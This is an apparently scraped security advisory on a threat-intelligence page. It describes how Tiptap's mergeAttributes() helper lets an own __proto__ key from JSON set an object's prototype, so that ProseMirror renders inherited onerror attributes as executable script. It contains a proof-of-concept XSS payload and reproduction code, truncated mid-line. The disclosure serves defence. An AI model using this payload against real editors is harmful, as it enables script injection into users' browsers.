GHSA-cp6q-959q-f8rh
## Summary `@tiptap/core`'s public `mergeAttributes()` helper uses ordinary bracket assignment on keys returned by `Object.entries()`. An own `__proto__` key from JSON therefore invokes the legacy prototype setter on the fresh merged object. The function returns an object whose prototype is attacker-controlled, while `Object.keys()` and ordinary own-property checks show no attacker attributes. When that result is used as a ProseMirror DOMOutputSpec attribute object, `prosemirror-model`'s `DOMSerializer.renderSpec()` enumerates it with `for...in` and applies inherited values with `setAttribute()`. In a browser proof, inherited `src` and `onerror` values were copied to an `<img>` and the error handler executed once. This is per-object prototype manipulation; the proof does not modify global `Object.prototype`. ## Root cause The affected loop is conceptually: ```ts const mergedAttributes = { ...items } for (const [key, value] of Object.entries(item)) { const exists = mergedAttributes[key] // ... mergedAttributes[key] = value } ``` `Object.entries(JSON.parse('{"__proto__": {...}}'))` includes `__proto__`. Reading `mergedAttributes['__proto__']` resolves the inherited `Object.prototype`; assigning to the same key invokes `Object.prototype.__proto__`'s setter and replaces `mergedAttributes`' prototype. ## Browser reproduction The following shape was tested with exact `@tiptap/core` 3.29.2 and `prosemirror-model` 1.25.11: ```js const input = JSON.parse(`{ "__proto__": { "data-inherited-canary": "present", "src": "x-invalid://canary", "onerror": "globalThis.__tiptapXss += 1" } }`) const attrs = mergeAttributes(input) // Object.keys(attrs) === [] // Object.getPrototypeOf(attrs) === input.__proto__ const schema = new Schema({ nodes: { doc: { content: 'image' }, image: { toDOM: () => ['img', attrs] }, text: {}, }, }) const doc = schema.node('doc', null, [schema.node('image')]) const fragment = DOMSerializer.fromSchema(schema).se
Properties
- ghsa_id
- GHSA-cp6q-959q-f8rh
- severity
- medium
- summary
- Tiptap: mergeAttributes() turns an own __proto__ key into inherited executable DOM attributes
- cve_id
- GHSA-cp6q-959q-f8rh
- is_ghsa_only
- true
- ghsa_published
- 2026-09-02T14:44:39Z
- source_url
- https://github.com/advisories/GHSA-cp6q-959q-f8rh
- ghsa_updated
- 2026-09-02T14:44:40Z
Related Entities (5)
REPORTED_BY (1)
VULNERABLE_TO (1)
AFFECTS (1)
HAS_WEAKNESS (2)
Explore deeper with Ninja Signal's threat intelligence graph